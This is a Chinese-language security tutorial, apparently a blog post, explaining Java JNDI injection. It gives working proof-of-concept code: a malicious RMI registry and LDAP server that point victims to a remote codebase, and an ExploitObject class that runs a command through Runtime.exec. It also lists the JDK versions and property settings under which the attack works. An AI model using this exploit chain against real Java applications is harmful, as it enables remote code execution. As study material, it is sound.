Java之JNDI注入
Java之JNDI注入
About JNDI
0x01 简介
JNDI(Java Naming and Directory Interface)
是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
是Java EE
的重要部分,需要注意的是它并不只是包含了DataSource(JDBC 数据源)
,JNDI
可访问的现有的目录及服务有:DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS。
0x02 JNDI的用途
JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务。
0x03 日常使用
其实简单看简介会有点感觉JNDI类似于RMI中的Registry,将其中某一命名服务和相应对象进行绑定,当需要调用这个对象中的方法时,通过将指定的名称作为参数带入lookup去寻找相应对象。比如在开发中经常用到其去加载实现动态加载数据库配置文件,而不用频繁修改代码。
平常使用JNDI注入攻击时常用的就是RMI和LDAP。并且关于这两种协议的使用还有些限制,这也会在本文后面提到。
0x04 JNDI命名和目录服务
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
这个点用到的也比较多,下面会详细讲。
前置知识
主要是一些常用类和常见方法的小结,copy自nice_0e3师傅文章
InitialContext类
构造方法:
InitialContext()
构建一个初始上下文。
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它。
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文。
InitialContext initialContext = new InitialContext();
在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
常用方法:
bind(Name name, Object obj)
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。
Reference类
该类也是在javax.naming
的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。
构造方法:
Reference(String className)
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。
代码:
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:className
- 远程加载时所使用的类名
参数2:classFactory
- 加载的class
中需要实例化类的名称
参数3:classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
协议
常用方法:
void add(int posn, RefAddr addr)
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。
JNDI Demo
下面看一段代码,是一段易受JNDI注入攻击的demo
主要是调用的lookup
方法中url
参数可控,那么可能会导致JNDI注入漏洞的产生。
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIDemo {
public void Jndi(String url) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
JNDI+RMI攻击手法
限制条件:
在
RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JDK 5U45,JDK 6U45,JDK 7u21,JDK 8u121
开始java.rmi.server.useCodebaseOnly
默认配置已经改为了true
。JDK 6u132, JDK 7u122, JDK 8u113
开始com.sun.jndi.rmi.object.trustURLCodebase
默认值已改为了false
。本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
JNDIServer
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIServer {
public static void main(String[] args) throws NamingException {
String url = "rmi://127.0.0.1:1099/ExportObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
JNDIExploitServer
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
public class JNDIExploitServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//创建Registry
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:8080/";
// 实例化一个Reference尝试为远程对象构造一个引用
Reference reference = new Reference("ExploitObject", "ExploitObject", url);
// 强转成ReferenceWrapper,因为Reference并没有继承Remote接口,不能直接注册到Registry中
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("ExportObject", referenceWrapper);
System.out.println("Registry&Server Start ...");
//打印别名
System.out.println("Registry List: " + Arrays.toString(registry.list()));
}
}
ExploitObject
public class ExploitObject {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}
先启动恶意的JNDIExploitServer,然后运行JNDIServer,当调用initialContext.lookup(url)
方法时,会通过rmi协议寻找ExportObject对应的对象referenceWrapper
,而referenceWrapper
为远程对象ExploitObject
的引用,所以最终实例化的是ExploitObject
从而触发静态代码块执行达到任意代码执行的目的。
在此期间遇到了几个坑点,记录一下:
JDK的限制,测试环境延用了RMI时的JDK7u17
在编译ExploitObject类时使用的javac版本最好和idea中测试环境版本一致,可以通过cmdl指定jdk版本的javac去编译;且生成的class文件不要带有包名(例如:
package com.zh1z3ven.jndi
),指定版本javac编译命令:/Library/Java/JavaVirtualMachines/jdk1.7.0_17.jdk/Contents/Home/bin/javac ./main/java/com/zh1z3ven/jndi/ExploitObject.java
JNDI+LDAP攻击手法
这里的限制是在8u191之前
copy一段LDAP的Server端代码
LdapServer
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main(String[] argsx) {
String[] args = new String[]{"http://127.0.0.1:8080/#ExploitObject"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
JNDIServer2
public class JNDIServer2 {
public static void main(String[] args) throws NamingException {
String url = "ldap://127.0.0.1:7777/ExploitObject";
InitialContext initialContext = new InitialContext();
initialContext.lookup(url);
}
}
ExploitObject
public class ExploitObject {
static {
try {
Runtime.getRuntime().exec("open -a Calculator");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
System.out.println("Calc Running ...");
}
}
Reference
如何绕过高版本 JDK 的限制进行 JNDI 注入利用:https://paper.seebug.org/942/
javasec
https://www.cnblogs.com/nice0e3/p/13958047.html
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://paper.seebug.org/1091/#jndi
https://security.tencent.com/index.php/blog/msg/131
https://paper.seebug.org/1207/#ldap
Java之JNDI注入的更多相关文章
- Java安全之JNDI注入
Java安全之JNDI注入 文章首发:Java安全之JNDI注入 0x00 前言 续上篇文内容,接着来学习JNDI注入相关知识.JNDI注入是Fastjson反序列化漏洞中的攻击手法之一. 0x01 ...
- Java反序列化中jndi注入的高版本jdk绕过
群里大佬们打哈哈的内容,菜鸡拿出来整理学习一下,炒点冷饭. 主要包含以下三个部分: jndi注入原理 jndi注入与反序列化 jndi注入与jdk版本 jndi注入原理: JNDI(Java Name ...
- JNDI注入与反序列化学习总结
0x01.java RMI RMI(Remote Method Invocation)是专为Java环境设计的远程方法调用机制,远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定 ...
- 浅析JNDI注入Bypass
之前在Veracode的这篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到对于JDK 1.8.0 ...
- Weblogic漏洞分析之JNDI注入-CVE-2020-14645
Weblogic漏洞分析之JNDI注入-CVE-2020-14645 Oracle七月发布的安全更新中,包含了一个Weblogic的反序列化RCE漏洞,编号CVE-2020-14645,CVS评分9. ...
- JNDI注入基础
JNDI注入基础 一.简介 JNDI(The Java Naming and Directory Interface,Java命名和目录接口)是一组在Java应用中访问命名和目录服务的API,命名服务 ...
- Java Web表达式注入
原文:http://netsecurity.51cto.com/art/201407/444548.htm 0×00 引言 在2014年6月18日@终极修炼师曾发布这样一条微博: 链接的内容是一个名为 ...
- spring注解方式在一个普通的java类里面注入dao
spring注解方式在一个普通的java类里面注入dao @Repositorypublic class BaseDaoImpl implements BaseDao {这是我的dao如果在servi ...
- ref:一种新的攻击方法——Java Web表达式注入
ref:https://blog.csdn.net/kk_gods/article/details/51840683 一种新的攻击方法——Java Web表达式注入 2016年07月06日 17:01 ...
随机推荐
- Jmeter监控技术实战
性能测试中监控的意义 为性能分析提供依据 监控方案 serverAgent jmeter的插件,监控颗粒度不高,界面简陋 服务器中启动 jmeter中添加插件 Nmon Grafana 优秀监控方案所 ...
- 『GoLang』string及其相关操作
目录 1. 字符串简介 2. 字符串的拼接 3. 有关 string 的常用处理 3.1 strings 包 3.1.1 判断两个 utf-8 编码字符串是否相同 3.1.2 判断字符串 str 是否 ...
- 『GoLang』控制结构
条件语句 if 是用于测试某个条件(布尔型或逻辑型)的语句,如果该条件成立,则会执行if后由大括号括起来的代码块,否则就忽略该代码块继续执行后续的代码. if condition { // do so ...
- 鸿蒙内核源码分析(ELF格式篇) | 应用程序入口并不是main | 百篇博客分析OpenHarmony源码 | v51.04
百篇博客系列篇.本篇为: v51.xx 鸿蒙内核源码分析(ELF格式篇) | 应用程序入口并不是main | 51.c.h.o 加载运行相关篇为: v51.xx 鸿蒙内核源码分析(ELF格式篇) | ...
- YbtOJ#723-欧拉之树【莫比乌斯反演,虚树】
正题 题目链接:http://www.ybtoj.com.cn/contest/121/problem/2 题目大意 给出\(n\)个点的一棵树,每个点有一个权值\(a_i\),求 \[\sum_{i ...
- Spring Security 学习+实践
Spring Security是Spring为解决应用安全所提供的一个全面的安全性解决方案.基于Spring AOP和Servlet过滤器,启动时在Spring上下文中注入了一组安全应用的Bean,并 ...
- sonarqube C# 单元测试覆盖率一栏总是0%解决办法
一.什么叫单元测试(unit testing)? 是指对软件中的最小可测试单元进行检查和验证.对于单元测试中单元的含义,一般来说,要根据实际情况去判定其具体含义,如C语言中单元指一个函 数,Java里 ...
- 轻松集成腾讯云短信服务实现短信发送(Java实现)
不论是阿里云还是腾讯云,要想在网站上实现短信发送功能,首先得保证你的网站域名是通过备案的,因为短信签名是需要用到备案过的域名截图,所以域名通过了,申请很快就会审批成功了. (说点题外话,备案的话,需要 ...
- 11.4.4 LVS-Fullnat
lvs-fullnat(双向转换) 通过请求报文的源地址为DIP,目标为RIP来实现转发:对于响应报文而言,修改源地址为VIP,目标地址为CIP来实现转发: CIP --> DIP VIP -- ...
- java的加载与执行原理详解
java程序从开发到最终运行经历了什么? (31) 编译期: 第一步:在硬盘某个位置(随意),新建一个xxx.java文件 第二步:使用记事本或者其他文本编辑器例如EditPlus打开xxx.java ...